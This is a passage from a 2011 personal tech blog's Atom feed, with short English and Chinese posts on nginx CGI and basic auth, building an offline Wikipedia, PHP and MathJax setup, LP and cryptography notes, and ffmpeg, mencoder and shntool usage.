    <li><a href="http://wiki.nginx.org/HttpRewriteModule">http://wiki.nginx.org/HttpRewriteModule</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>CGI with nginx</title>
        <link href="http://blog.cykerway.com/post/317" />
        <id>http://blog.cykerway.com/post/317</id>
        <updated>2011-05-14T02:11:16Z</updated>
        <content type="html"><![CDATA[<ol>
<li>
<p>Install fcgiwrap</p>

<pre class="brush:bash">
pacman -S fcgiwrap
</pre>
</li>

<li>
<p>Write CGI (using Bash, Perl, etc.), save as /tmp/hello.sh</p>

<pre class="brush:bash">
#!/bin/bash
echo &quot;Content-type: text/html&quot;
# An empty line is needed here. So echo nothing.
echo &quot;&quot;

echo &quot;&lt;html&gt;&quot;
echo &quot;&lt;head&gt;&quot;
echo &quot;&lt;title&gt;Wow&lt;/title&gt;&quot;
echo &quot;&lt;/head&gt;&quot;
echo &quot;&lt;body&gt;&quot;
echo &quot;&lt;h1&gt;Hello World!&lt;/h1&gt;&quot;
echo &quot;&lt;/body&gt;&quot;
echo &quot;&lt;/html&gt;&quot;
</pre>
</li>

<li>
<p>Run fcgiwrap</p>

<pre class="brush:bash">
fcgiwrap -s unix:/tmp/cgi.sock
</pre>
<p>Make sure the worker process of nginx have write permission to /tmp/cgi.sock.</p>
</li>

<li>
<p>Configure nginx</p>

<pre class="brush:bash">
location /hello.cgi {
    fastcgi_pass    unix:/tmp/cgi.sock;
    fastcgi_param   SCRIPT_FILENAME /tmp/hello.sh;
}
</pre>
</li>

<li>
<p>Run nginx</p>

<pre class="brush:bash">
/etc/rc.d/nginx start
</pre>
</li>

<li>
<p>Open browser and enjoy!</p>
</li>
</ol>

<p>Note. When I was doing this experiment, I frequently had the error &quot;upstream closed prematurely FastCGI stdout while reading response header from upstream&quot; in Nginx&apos;s error log. Finally I found out the reason. The CGI script had a bug. It must output an empty line after the &quot;Content-type&quot; line. Now this is corrected.</p>]]></content>
    </entry>
    <entry>
        <title>Offline Wikipedia</title>
        <link href="http://blog.cykerway.com/post/316" />
        <id>http://blog.cykerway.com/post/316</id>
        <updated>2011-05-12T23:26:59Z</updated>
        <content type="html"><![CDATA[<p>This article introduces how to setup an offline Wikipedia which supports keywords search.</p>

<p>Before you start, you should read the great tutorial provided by Thanassis Tsiodras:</p>
<p><a href="http://users.softlab.ntua.gr/~ttsiod/buildWikipediaOffline.html">http://users.softlab.ntua.gr/~ttsiod/buildWikipediaOffline.html</a></p>

<p>Read it carefully to make sure you know what&apos;s going on. Then read this supplement:</p>
<p><a href="http://jsomers.net/blog/offline-wikipedia">http://jsomers.net/blog/offline-wikipedia</a></p>

<p>Now let&apos;s move on!</p>

<ol>
    <li>
        <p>Download official .xml.bz2 dumps:</p>

        <p>The address is:</p>
        <p><a href="http://dumps.wikimedia.org/enwiki/latest/">http://dumps.wikimedia.org/enwiki/latest/</a></p>

        <p>According to the official notice, downloading <a href="http://dumps.wikimedia.org/enwiki/latest/enwiki-latest-pages-articles.xml.bz2">enwiki-latest-pages-articles.xml.bz2</a> alone should suffice. But I&apos;ve made up a list <a href="http://blog.cykerway.com/uploads/20110512/enwikidl.txt">enwikidl.txt</a> which can be used with wget as follows, in case you need other files:</p>
<pre class="brush:bash">
wget -c -i enwikidl.txt
</pre>
        <p>Note. Some very large files are not included in the list.</p>

        <p>Don&apos;t decompress it! We won&apos;t need the decompressed file!</p>
    </li>
    <li>
        <p>Install Xapian and Django. If you use Arch Linux, type</p>
<pre class="brush:bash">
pacman -S xapian-core django
</pre>
        <p>The case in other distros should be similar. You can also compile it from source.</p>
    </li>
    <li>
        <p>Download this package:</p>
        <p><a href="http://users.softlab.ntua.gr/~ttsiod/offline.wikipedia.tar.bz2">http://users.softlab.ntua.gr/~ttsiod/offline.wikipedia.tar.bz2</a></p>

        <p>Decompress it and enter the decompressed folder. The svn server in the Makefile doesn&apos;t work. So we need to manually download the needed file from:</p>
        <p><a href="http://users.softlab.ntua.gr/~ttsiod/mediawiki_sa.tar.7z">http://users.softlab.ntua.gr/~ttsiod/mediawiki_sa.tar.7z</a></p>

        <p>Put it in the folder offline.wikipedia, then decompress it. So you should have folder structure offline.wikipedia/mediawiki_sa/</p>

        <p>Then manually change the Makefile. Specifically, remove the line:</p>
<pre class="brush:bash">
@svn co http://fslab.de/svn/wpofflineclient/trunk/mediawiki_sa/ mediawiki_sa || echo Failed to get from svn...
</pre>
    </li>
    <li>
        <p>Move the .xml.bz2 downloaded in Step 1 to offline.wikipedia/wiki-splits/ Then change the first line of the Makefile to</p>
<pre class="brush:bash">
XMLBZ2 = enwiki-latest-pages-articles.xml.bz2
</pre>
    </li>
    <li>
        <p>Type &apos;make&apos; and wait for 5 to 6 hours. Have a cup of coffee.</p>
    </li>
    <li>
        <p>Enter the folder offline.wikipedia/mywiki. Run</p>
<pre class="brush:bash">
python manage.py runserver
</pre>
        <p>Then open your browser at <a href="http://localhost:8000/">http://localhost:8000/</a> If everything is fine, you should be able to use it. I encountered some problems. The browser shows the parser has error and the console shows PHP is not being able to open /var/tmp/result. If this happens, edit /etc/php/php.ini, append /var/tmp/ to open_basedir, like this</p>
<pre class="brush:bash">
open_basedir = /foldera/:/folderb/:/folderc/:/var/tmp/
</pre>
        <p>After this, there is still a PHP Notice &apos;Only variable references should be returned by reference&apos;. This can be fixed by editing offline.wikipedia/mediawiki_sa/includes/DatabaseFunctions.php. Modify Line 53 to 55 as:</p>
<pre class="brush:php">
    $ret = null;
	//$ret =&amp; $wgLoadBalancer-&gt;getConnection( $db, true, $groups );
	return $ret;
</pre>
        <p>The source of MediaWiki may help you:</p>
        <p><a href="http://phpxref.com/xref/mediawiki/index.html">http://phpxref.com/xref/mediawiki/index.html</a></p>
    </li>
    <li>
        <p>To make it more pleasant, add the following lines beneath &lt;/form&gt; in Line 97, offline.wikipedia/mywiki/show.pl:</p>
<pre class="brush:css">
&lt;style type=&quot;text/css&quot;&gt;
    body {
        font-family: Verdana;
        font-size: 12.23px;
        line-height: 1.5em;
    }
    a {
        color: #1166bb;
        text-decoration: none;
    }
    a:hover {
        border-bottom: 1px solid #1166bb;
    }
    .reference {
        font-size: 7.12px;
    }
    .references {
        font-size: 10.12px;
    }
&lt;/style&gt;
</pre>
    </li>
    <li>
        <p>Download images (not done yet):</p>
        <p>Use Wikix:</p>
        <p><a href="http://meta.wikimedia.org/wiki/Wikix">http://meta.wikimedia.org/wiki/Wikix</a></p>
    </li>
</ol>]]></content>
    </entry>
    <entry>
        <title>nginx password protection</title>
        <link href="http://blog.cykerway.com/post/315" />
        <id>http://blog.cykerway.com/post/315</id>
        <updated>2011-05-12T14:18:16Z</updated>
        <content type="html"><![CDATA[<p>In site configuration:</p>
<pre class="brush:bash">
location  /  {
    auth_basic            &quot;Restricted&quot;;
    auth_basic_user_file  htpasswd;
}
</pre>

<p>Generate htpasswd (using <a href="http://trac.edgewall.org/export/10693/trunk/contrib/htpasswd.py">htpasswd.py</a>):</p>
<pre class="brush:bash">
python htpasswd.py -c -b htpasswd {username} {password}
</pre>

<p>Using the above configuation, the htpasswd file should be placed in the same folder as nginx.conf.</p>

<p>Links:</p>
<ul>
    <li><a href="http://wiki.nginx.org/HttpAuthBasicModule">http://wiki.nginx.org/HttpAuthBasicModule</a></li>
    <li><a href="http://wiki.nginx.org/Faq#How_do_I_generate_an_htpasswd_file_without_having_Apache_tools_installed.3F">http://wiki.nginx.org/Faq#How_do_I_generate_an_htpasswd_file_without_having_Apache_tools_installed.3F</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>How nginx processes a request</title>
        <link href="http://blog.cykerway.com/post/314" />
        <id>http://blog.cykerway.com/post/314</id>
        <updated>2011-05-12T13:45:01Z</updated>
        <content type="html"><![CDATA[<p>先看IP和port，然后找匹配的host(server_name)，如果找不到用默认的host，如果没有默认的host用第一个匹配的host。</p>

<p>php方面，按照样例的配置，访问/时执行location search后会由location /部分处理，其内部若有index index.php，相当于内部跳转，再次执行location search后会由location ~ \.php\$部分处理。</p>

<p>Links:</p>
<ul>
    <li><a href="http://nginx.org/en/docs/http/request_processing.html">http://nginx.org/en/docs/http/request_processing.html (request processing)</a></li>
    <li><a href="http://wiki.nginx.org/NginxChsHttpCoreModule#location">http://wiki.nginx.org/NginxChsHttpCoreModule#location (location search)</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>php.ini中default_mimetype设置导致CSS无法加载</title>
        <link href="http://blog.cykerway.com/post/313" />
        <id>http://blog.cykerway.com/post/313</id>
        <updated>2011-05-10T21:56:07Z</updated>
        <content type="html"><![CDATA[<p>安装MediaWiki时出现非常诡异的错误，CSS不能加载。Firefox的Error Console给出的Error提示是：</p>

<p>Error: The stylesheet http://mediawiki/skins/common/main.css?270 was not loaded because its MIME type, &quot;text/html&quot;, is not &quot;text/css&quot;.</p>

<p>于是做实验，写了如下代码index.php：</p>

<pre class="brush:php">
&lt;html&gt;
    &lt;head&gt;
        &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/skins/common/main.css&quot; /&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;p id=&quot;mi&quot;&gt;Come on!&lt;/p&gt;
    &lt;/body&gt;
&lt;/html&gt;
</pre>

<p>结果CSS可以正常加载，但是给出Warning如下：</p>

<p>Warning: The stylesheet http://localhost/skins/common/main.css was loaded as CSS even though its MIME type, &quot;text/html&quot;, is not &quot;text/css&quot;.</p>
<p>解决方法是在php.ini中改为</p>

<pre class="brush:php">
default_mimetype = &quot;&quot;
</pre>

<p>注意只注释掉是不行的，因为默认值是&quot;text/html&quot;。</p>]]></content>
    </entry>
    <entry>
        <title>MathJax/jsMath</title>
        <link href="http://blog.cykerway.com/post/312" />
        <id>http://blog.cykerway.com/post/312</id>
        <updated>2011-05-01T19:28:14Z</updated>
        <content type="html"><![CDATA[<p>用Javascript渲染LaTeX，我怎么没想到呢。思维模式还停留在Wordpress的位图LaTeX年代啊……</p>

<p>用Javascript渲染的话好处多多啊。网页源代码是文本，不用下载各种图片。字体支持缩放，打印效果也比图片好。</p>

<p>最近忙，等有空了搞搞，看能不能给Blade加上这个功能。</p>

<p>Homepage of MathJax: <a href="http://www.mathjax.org/">http://www.mathjax.org/</a></p>

<p>Homepage of jsMath: <a href="http://www.math.union.edu/~dpvc/jsMath/">http://www.math.union.edu/~dpvc/jsMath/</a></p>

<p>Update. 搞定了，用了MathJax。加个Javascript链接就可以了：</p>

<pre class="brush:html">
&lt;!-- MathJax --&gt;
&lt;script type=&quot;text/x-mathjax-config&quot;&gt;
    MathJax.Hub.Config({
        TeX: {
            extensions: [&quot;AMSmath.js&quot;, &quot;AMSsymbols.js&quot;, &quot;autobold.js&quot;]
        },
        tex2jax: {
            inlineMath: [ [&apos;$&apos;,&apos;$&apos;], [&apos;\\(&apos;,&apos;\\)&apos;] ],
            processEscapes: true
        }
    });
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&quot;&gt;&lt;/script&gt;
</pre>

<p>下面是试验：</p>

<p>
\[\begin{aligned}
\dot{x} &amp; = \sigma(y-x) \\
\dot{y} &amp; = \rho x - y - xz \\
\dot{z} &amp; = -\beta z + xy
\end{aligned} \]

\[ \left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right) \]

\[\mathbf{V}_1 \times \mathbf{V}_2 =  \begin{vmatrix}
\mathbf{i} &amp; \mathbf{j} &amp; \mathbf{k} \\
\frac{\partial X}{\partial u} &amp;  \frac{\partial Y}{\partial u} &amp; 0 \\
\frac{\partial X}{\partial v} &amp;  \frac{\partial Y}{\partial v} &amp; 0
\end{vmatrix}  \]

\[P(E)   = {n \choose k} p^k (1-p)^{ n-k} \]

\[ \frac{1}{\Bigl(\sqrt{\phi \sqrt{5}}-\phi\Bigr) e^{\frac25 \pi}} =
1+\frac{e^{-2\pi}} {1+\frac{e^{-4\pi}} {1+\frac{e^{-6\pi}}
{1+\frac{e^{-8\pi}} {1+\ldots} } } } \]

\[  1 +  \frac{q^2}{(1-q)}+\frac{q^6}{(1-q)(1-q^2)}+\cdots =
\prod_{j=0}^{\infty}\frac{1}{(1-q^{5j+2})(1-q^{5j+3})},
\quad\quad \text{for $|q|&lt;1$}. \]

\[  \begin{aligned}
\nabla \times \vec{\mathbf{B}} -\, \frac1c\, \frac{\partial\vec{\mathbf{E}}}{\partial t} &amp; = \frac{4\pi}{c}\vec{\mathbf{j}} \\   \nabla \cdot \vec{\mathbf{E}} &amp; = 4 \pi \rho \\
\nabla \times \vec{\mathbf{E}}\, +\, \frac1c\, \frac{\partial\vec{\mathbf{B}}}{\partial t} &amp; = \vec{\mathbf{0}} \\
\nabla \cdot \vec{\mathbf{B}} &amp; = 0 \end{aligned}
\]
</p>

<p>内联一个$3x + 5(z + w) + 5y^2 = \sum_{i = 1}^{9} \prod_{j = 1}^{3} C_{ij}$哇哈哈哈</p>

<p>pre标签里的不会变有木有！！！prompt什么的再也不怕了！！！</p>

<pre class="brush:bash">
computer $ ls \(abc\).txt
computer $ 12 + 34 \cdot 56$
</pre>

<p>还支持转义后的符号啊啊啊果然爽～～～</p>]]></content>
    </entry>
    <entry>
        <title>1-2 oblivious transfer</title>
        <link href="http://blog.cykerway.com/post/311" />
        <id>http://blog.cykerway.com/post/311</id>
        <updated>2011-04-25T22:58:01Z</updated>
        <content type="html"><![CDATA[<p>密码课上讲到1-2 oblivious transfer。就是说Alice有两个消息m_1和m_2。Bob想要知道其中一个消息m_b(b=0,1)。要求是Alice不能知道Bob想要知道哪一个（即Alice不能知道b），并且Bob不能知道除了他想要知道的另外一个（即Bob不能知道m_{1-b}）。</p>

<p>算法在这里：</p>
<p><a href="http://en.wikipedia.org/wiki/Oblivious_transfer#1-2_oblivious_transfer">http://en.wikipedia.org/wiki/Oblivious_transfer#1-2_oblivious_transfer</a></p>]]></content>
    </entry>
    <entry>
        <title>arithmetic complexity of linear programming</title>
        <link href="http://blog.cykerway.com/post/310" />
        <id>http://blog.cykerway.com/post/310</id>
        <updated>2011-04-24T16:13:31Z</updated>
        <content type="html"><![CDATA[<p><img src="uploads/20110424/arithmetic-complexity.png" alt="arithmetic-complexity" /></p>

<p>Bit complexity model(BCM)是说每个数的size是其二进制表示下的长度，总的size是所有数的长度的和。每次计算的复杂度与操作数的size有关。</p>

<p>Arithmetic complexity model(ACM)是说每个数的size是1，总的size是数的个数。每次计算的复杂度是O(1)。</p>

<p>通常我们使用BCM。但BCM对无理数是不适用的，因为无理数没法写成有限多个bits。</p>

<p>这段文章是说内点法和椭圆法在BCM下才是多项式时间的，在ACM下则不保证（目前是open problem）。</p>

<p>关于ACM有个strongly polynomial的定义，参见<a href="http://en.wikipedia.org/wiki/Time_complexity#Strongly_and_weakly_polynomial_time">http://en.wikipedia.org/wiki/Time_complexity#Strongly_and_weakly_polynomial_time</a>。</p>]]></content>
    </entry>
    <entry>
        <title>关于抽象代数的一些书籍</title>
        <link href="http://blog.cykerway.com/post/309" />
        <id>http://blog.cykerway.com/post/309</id>
        <updated>2011-04-21T16:01:58Z</updated>
        <content type="html"><![CDATA[<p><a href="http://xiaosunliang.blogbus.com/logs/33323088.html">http://xiaosunliang.blogbus.com/logs/33323088.html</a></p>]]></content>
    </entry>
    <entry>
        <title>shntool</title>
        <link href="http://blog.cykerway.com/post/308" />
        <id>http://blog.cykerway.com/post/308</id>
        <updated>2011-04-20T23:22:44Z</updated>
        <content type="html"><![CDATA[<p>shntool是一个切割、转换音频的好工具。以下举一个切割的例子：</p>

<pre class="brush:bash">
shntool split -f CDImage.cue -t &apos;%n.%p-%t&apos; -o flac -d output CDImage.flac
</pre>

<ul>
    <li>-f：cue文件</li>
    <li>-t：输出文件名的格式</li>
    <li>-o：输出文件的扩展名</li>
    <li>-d：输出目录（不会自动建立）</li>
</ul>]]></content>
    </entry>
    <entry>
        <title>算法导论笔记</title>
        <link href="http://blog.cykerway.com/post/307" />
        <id>http://blog.cykerway.com/post/307</id>
        <updated>2011-04-16T23:55:52Z</updated>
        <content type="html"><![CDATA[<p>居然是贵校的某师兄写的，看起来挺给力的。</p>

<p><a href="http://dbgroup.cs.tsinghua.edu.cn/wangyi/misc/algorithms/algorithms-notes.pdf">http://dbgroup.cs.tsinghua.edu.cn/wangyi/misc/algorithms/algorithms-notes.pdf</a></p>]]></content>
    </entry>
    <entry>
        <title>consistency and conciseness</title>
        <link href="http://blog.cykerway.com/post/306" />
        <id>http://blog.cykerway.com/post/306</id>
        <updated>2011-04-14T13:38:39Z</updated>
        <content type="html"><![CDATA[<p>这几天把想了好久的一个问题重新formulate了一下，一个例子大概可以很好地说明。</p>

<p>考虑群的定义，有3条：</p>

<ol>

    <li>运算满足结合律</li>

    <li>存在单位元</li>

    <li>任一元素存在逆元</li>

</ol>

<p>首先考虑consistency。我们不妨再加入一条：</p>

<ul>
    <li>存在一个元素有多于一个逆元</li>
</ul>

<p>那么这四条定义是不一致的。因为根据前三条可以推导出每个元素的逆元是唯一的，这与第四条矛盾。</p>

<p>那么不禁要问，原来的三条定义是不是一致的呢？解答这个问题的办法就是提供一个实例同时满足这三条定义。只包含单位元的群{e}就是这样一个实例。</p>

<p>但假如我们无法找到这样一个实例，我们似乎（注意，只是似乎，因为我不知道有没有其他方法）就无法证明其一致性（除非它们可以互相推导，但这就不简洁了，见下文）。同时假如我们又无法通过推导找出其中的矛盾，那我们就陷入了既不能证明又不能证否的两难境地。这种关于一致性证明的两难境地存在的必然性或解决方法，是我思考的第一个问题。</p>

<p>下面假设consistency满足，来考虑conciseness。这时我们把第四条改为：</p>

<ul>
    <li>每个元素的逆元是唯一的</li>
</ul>

<p>上面已经说过了，第四条是可以由前三条推导出的。那么就没有把它作为一条定义的必要，因为加入这一条丧失了定义的简洁性（conciseness）。棘手的问题是，我们能否证明前三条定义是满足简洁性的呢？假设一共有n条定义。不妨设d_n是不简洁的，且d_n可以由定义d_1,d_2,...,d_k推导出。那么由consistency满足，知d_n也可以由定义d_1,d_2,...,d_{n-1}推导出。也就是说一条定义是不简洁的当且仅当它可以由其他所有定义推导出。于是，为了证明一组定义是简洁的，我们只需证明每条定义d_i都是简洁的。证明d_i是简洁的方法是针对其他定义满足的情况，分别构造满足d_i与不满足d_i的实例。</p>

<p>例如，为了证明第三条“任一元素存在逆元”是简洁的，我们构造均满足第一条和第二条的如下两个实例：</p>

<ol>
    <li>满足第三条：只包含单位元的群{e}</li>
    <li>不满足第三条：自然数N，关于加法运算</li>
</ol>

<p>这个方法的问题在于，假如所有实例都被构造出，则简洁性得到了证明。但实例构造不出并不意味着没有简洁性，有可能只是构造实例的人没有想到罢了。</p>

<p>概括一下，通过构造实例可以证明简洁性，通过由其他定义推导出该条定义可以证明不简洁性。但如果这两方面都做不到，我们就陷入了简洁性证明的两难境地。这种关于简洁性证明的两难境地存在的必然性或解决方法，是我思考的第二个问题。</p>

<p>最后，考虑一组不简洁的定义S = {d_1,d_2,...,d_n}。我们可以去掉那些可由其他定义推导出的定义，也就是不简洁的定义S_r，从而得到一组简洁的定义S_c（即S_c是S_r在S中的补集且S_r中的任一定义都可以由S_c推导出）。显然若S_c确定了则S_r也确定了。但注意S_c的选择未必是唯一的，例如，如果A等价于B等价于C，那么我们可以选择S_c为A,B,C中的任何一个。问题来了。对于不同的S_c的选择S_{c_1}和S_{c_2}，我们是否都有|S_{c_1}| = |S_{c_2}|？这是我思考的第三个问题。</p>

<p>Update. 第三个问题非常trivial，显然不成立。反例是：</p>

<ul>
    <li>A-&gt;B,C</li>
    <li>B-&gt;A</li>
    <li>C-&gt;A</li>
</ul>

<p>一种选择是只保留A，另一种是保留B和C。前者|S_c|为1，后者|S_c|为2。</p>]]></content>
    </entry>
    <entry>
        <title>sender selection for message transmission</title>
        <link href="http://blog.cykerway.com/post/305" />
        <id>http://blog.cykerway.com/post/305</id>
        <updated>2011-04-11T14:33:31Z</updated>
        <content type="html"><![CDATA[<p>最近生活中遇到一个问题，是说在一群人中如何选择发送者，使得消息在所有人中传播的花费最小。先说明我还没有做出来……</p>

<p>举个例子，一个班里传播消息通常都是班长群发消息给所有人，那么这里班长就是唯一的sender。当然有的时候1个sender是不够的，例如整个通信网络是一个森林的话，那么每棵树里至少得选一个sender。</p>

<p>我们不妨用一个有向带权图G=(V,E)来表示所有人及其之间的联系。每条边的权重w(e_i)表示消息在这条边传递的费用（不能通信时费用为正无穷大）。所有sender构成的集合S是V的一个子集。每个sender的花费是d。求一个花费最小的使得所有人都可接收消息的方案（每个人的花费计为从任一s \in S到他的最小费用路径）。</p>

<p>起初我以为这个问题和center selection有点像（Section 11.2, Algorithm Design）。后来发现就算简化成无向图且边权为1也不一样。三角不等式总是不保证满足的。</p>]]></content>
    </entry>
    <entry>
        <title>PuLP</title>
        <link href="http://blog.cykerway.com/post/304" />
        <id>http://blog.cykerway.com/post/304</id>
        <updated>2011-03-19T22:06:19Z</updated>
        <content type="html"><![CDATA[<p>PuLP is an LP modeler written in python.</p>

<p>Installation on Arch Linux: </p>

<pre class="brush:bash">
yaourt -S glpk pulp
</pre>

<p>Homepage: <a href="http://code.google.com/p/pulp-or/">http://code.google.com/p/pulp-or/</a></p>

<p>Case Study: <a href="https://www.coin-or.org/PuLP/CaseStudies/a_blending_problem.html">https://www.coin-or.org/PuLP/CaseStudies/a_blending_problem.html</a></p>

<p>Sample Code (also pasted below): <a href="https://projects.coin-or.org/PuLP/browser/trunk/examples/WhiskasModel1.py?format=txt">https://projects.coin-or.org/PuLP/browser/trunk/examples/WhiskasModel1.py?format=txt</a></p>


<pre class="brush:python">
#!/usr/bin/python

&quot;&quot;&quot;
The Simplified Whiskas Model Python Formulation for the PuLP Modeller

Authors: Antony Phillips, Dr Stuart Mitchell  2007
&quot;&quot;&quot;

# Import PuLP modeler functions
from pulp import *

# Create the &apos;prob&apos; variable to contain the problem data
prob = LpProblem(&quot;The Whiskas Problem&quot;,LpMinimize)

# The 2 variables Beef and Chicken are created with a lower limit of zero
x1=LpVariable(&quot;ChickenPercent&quot;,0,None,LpInteger)
x2=LpVariable(&quot;BeefPercent&quot;,0)

# The objective function is added to &apos;prob&apos; first
prob += 0.013*x1 + 0.008*x2, &quot;Total Cost of Ingredients per can&quot;

# The five constraints are entered
prob += x1 + x2 == 100, &quot;PercentagesSum&quot;
prob += 0.100*x1 + 0.200*x2 &gt;= 8.0, &quot;ProteinRequirement&quot;
prob += 0.080*x1 + 0.100*x2 &gt;= 6.0, &quot;FatRequirement&quot;
prob += 0.001*x1 + 0.005*x2 &lt;= 2.0, &quot;FibreRequirement&quot;
prob += 0.002*x1 + 0.005*x2 &lt;= 0.4, &quot;SaltRequirement&quot;

# The problem data is written to an .lp file
prob.writeLP(&quot;WhiskasModel.lp&quot;)

# The problem is solved using PuLP&apos;s choice of Solver
prob.solve()

# The status of the solution is printed to the screen
print &quot;Status:&quot;, LpStatus[prob.status]

# Each of the variables is printed with it&apos;s resolved optimum value
for v in prob.variables():
    print v.name, &quot;=&quot;, v.varValue
    
# The optimised objective function value is printed to the screen
print &quot;Total Cost of Ingredients per can = &quot;, value(prob.objective)
</pre>]]></content>
    </entry>
    <entry>
        <title>Python深复制</title>
        <link href="http://blog.cykerway.com/post/303" />
        <id>http://blog.cykerway.com/post/303</id>
        <updated>2011-03-19T21:46:49Z</updated>
        <content type="html"><![CDATA[<p><a href="http://blog.lxneng.com/?p=111">http://blog.lxneng.com/?p=111</a></p>

<p><a href="http://docs.python.org/release/3.1.3/library/copy.html#copy.deepcopy">http://docs.python.org/release/3.1.3/library/copy.html#copy.deepcopy</a></p>]]></content>
    </entry>
    <entry>
        <title>MEncoder</title>
        <link href="http://blog.cykerway.com/post/301" />
        <id>http://blog.cykerway.com/post/301</id>
        <updated>2011-03-07T12:59:58Z</updated>
        <content type="html"><![CDATA[<p>MEncoder也是一个转码的好东西。仅举一例：</p>

<pre class="brush:bash">
mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=800:mbd=2:trell:v4mv -vf dsize=480:320:0,scale=0:0 \
-oac lavc -lavcopts acodec=mp2:abitrate=320 -sub subtitle.srt -subcp utf-8 -subpos 100 \
-subfont &apos;WenQuanYi Micro Hei&apos; -subfont-text-scale 4 -subfont-outline 3 \
-of avi in.mkv -o out.avi
</pre>

<p>此命令的作用是将in.mkv转换为out.avi，视频采用mpeg4编码，音频采用mp2编码，视频画面不大于480x320，保持高宽比，添加字幕文件subtitle.srt。</p>

<ul>
    <li>-ovc指定video codec(本例中使用libavcodec)</li>
    <li>-oac指定audio codec(本例中使用libavcodec)</li>
    <li>-lavcopts指定libavcodec的参数(如vcodec/vbitrate/acodec/abitrate/...对应于ffmpeg的同名参数选项)</li>
    <li>-vf指定视频滤镜(dsize调整display size，scale进行实际缩放)</li>
    <li>-sub指定字幕文件</li>
    <li>-subcp指定字幕文件的Code Page</li>
    <li>-subpos指定字幕显示的位置(top=0, bottom=100)</li>
    <li>-subfont指定字幕的字体</li>
    <li>-subfont-text-scale指定字幕的大小</li>
    <li>-subfont-outline指定字幕文字边缘的厚度</li>
    <li>-of指定输出文件的格式(container的格式)</li>
    <li>-o指定输出文件</li>
</ul>

<p>links:</p>

<ul>
    <li>MPlayer Documentation: Chapter 7. Encoding with MEncoder<br />
    <a href="http://www.mplayerhq.hu/DOCS/HTML/en/encoding-guide.html">http://www.mplayerhq.hu/DOCS/HTML/en/encoding-guide.html</a></li>

    <li>linux下mencoder的一些用法<br />
    <a href="http://www.mplayerhq.hu/DOCS/HTML/en/encoding-guide.html">http://www.linuxdiyf.com/viewarticle.php?id=80784</a></li>

    <li>[MEncoder-users] scale, dsize, expand setting multiple aspect ratios and sizes<br />
    <a href="http://www.mplayerhq.hu/DOCS/HTML/en/encoding-guide.html">http://lists.mplayerhq.hu/pipermail/mencoder-users/2008-February/008040.html</a></li>

    <li>Linux下利用mencoder将字幕文件内嵌到视频之中<br />
    <a href="http://www.mplayerhq.hu/DOCS/HTML/en/encoding-guide.html">http://wzc0066.blog.hexun.com/18101413_d.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>ffmpeg</title>
        <link href="http://blog.cykerway.com/post/300" />
        <id>http://blog.cykerway.com/post/300</id>
        <updated>2011-03-06T02:15:27Z</updated>
        <content type="html"><![CDATA[<p>ffmpeg是一个转码的好东西。</p>

<p>先查看支持的codec和format</p>

<pre class="brush:bash">
ffmpeg -codecs
ffmpeg -formats
</pre>

<p>基本格式是</p>

<pre class="brush:bash">
ffmpeg [main options] [infile options] -i infile [outfile options] outfile
</pre>

<p>其中[input options]/[output options]可以包含[video options]/[audio options]。</p>

<p>一些有用的选项：</p>

<ul>
    <li>Main Options</li>
    <ul>
        <li>-y overwrite output files</li>
    </ul>

    <li>Video Options</li>
    <ul>
        <li>-vcodec video codec</li>
        <li>-b bitrate in bit/s</li>
        <li>-r fps</li>
        <li>-s size</li>
        <li>-aspect aspect ratio</li>
        <li>-vn disable video recording</li>
    </ul>

    <li>Audio Options</li>
    <ul>
        <li>-acodec audio codec</li>
        <li>-ar sampling frenquency in Hz</li>
        <li>-ab bitrate in bits/s</li>
        <li>-ac channels</li>
        <li>-an disable audio recording</li>
    </ul>
</ul>

<p>一个示例</p>

<pre class="brush:bash">
ffmpeg -y -i in.avi -vcodec libxvid -b 600k -acodec ac3 -ac 2 -ab 192k -s 320x176 -aspect 16:9 out.avi
</pre>

<p>Links:</p>

<ul>
    <li>ffmpeg工具使用<br />
    <a href="http://blog.csdn.net/applezhengxd/archive/2009/12/02/4925865.aspx">http://blog.csdn.net/applezhengxd/archive/2009/12/02/4925865.aspx</a></li>

    <li>Using ffmpeg to manipulate audio and video files<br />
    <a href="http://howto-pages.org/ffmpeg/">http://howto-pages.org/ffmpeg/</a></li>

    <li>FFmpeg x264 encoding guide<br />
    <a href="http://rob.opendot.cl/index.php/useful-stuff/ffmpeg-x264-encoding-guide/">http://rob.opendot.cl/index.php/useful-stuff/ffmpeg-x264-encoding-guide/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Linux文件关联</title>
        <link href="http://blog.cykerway.com/post/299" />
        <id>http://blog.cykerway.com/post/299</id>
        <updated>2011-03-04T14:23:39Z</updated>
        <content type="html"><![CDATA[<p>文件类型由mimetype(.xml)描述，存放在
<ul>
    <li>/usr/share/mime</li>
    <li>~/.local/share/mime</li>
</ul>
</p>

<p>应用程序由desktop entry(.desktop)描述，存放在
<ul>
    <li>/usr/share/applications</li>
    <li>~/.local/share/applications</li>
</ul>
</p>

<p>要用preferred application打开文件，使用xdg-open。</p>

<p>xdg-open先判断文件类型，然后到
<ul>
    <li>/usr/share/applications/defaults.list</li>
    <li>~/.local/share/applications/defaults.list</li>
</ul>
找到指定的.desktop，并根据其中的命令打开应用程序。</p>

<p>xdg-mime可以修改默认文件关联。</p>

<p>查看文件的mime类型：</p>

<pre class="brush:bash">
xdg-mime query filetype a.pdf
</pre>

<p>查看mime类型的应用程序关联：</p>

<pre class="brush:bash">
xdg-mime query default application/pdf
</pre>

<p>修改mime类型的应用程序关联：</p>

<pre class="brush:bash">
xdg-mime default evince.desktop application/pdf
</pre>

<p>当然也可以直接改defaults.list。</p>

<p>Links:</p>

<ul>
    <li>添加自定义文件类型及设置关联程序<br />
    <a href="http://liangzhdp.blogspot.com/2010/12/blog-post_29.html">http://liangzhdp.blogspot.com/2010/12/blog-post_29.html</a></li>
    <li>Linux Desktop Entry 文件深入解析<br />
    <a href="http://www.ibm.com/developerworks/cn/linux/l-cn-dtef/">http://www.ibm.com/developerworks/cn/linux/l-cn-dtef/</a></li>
    <li>Desktop Entry Specification<br />
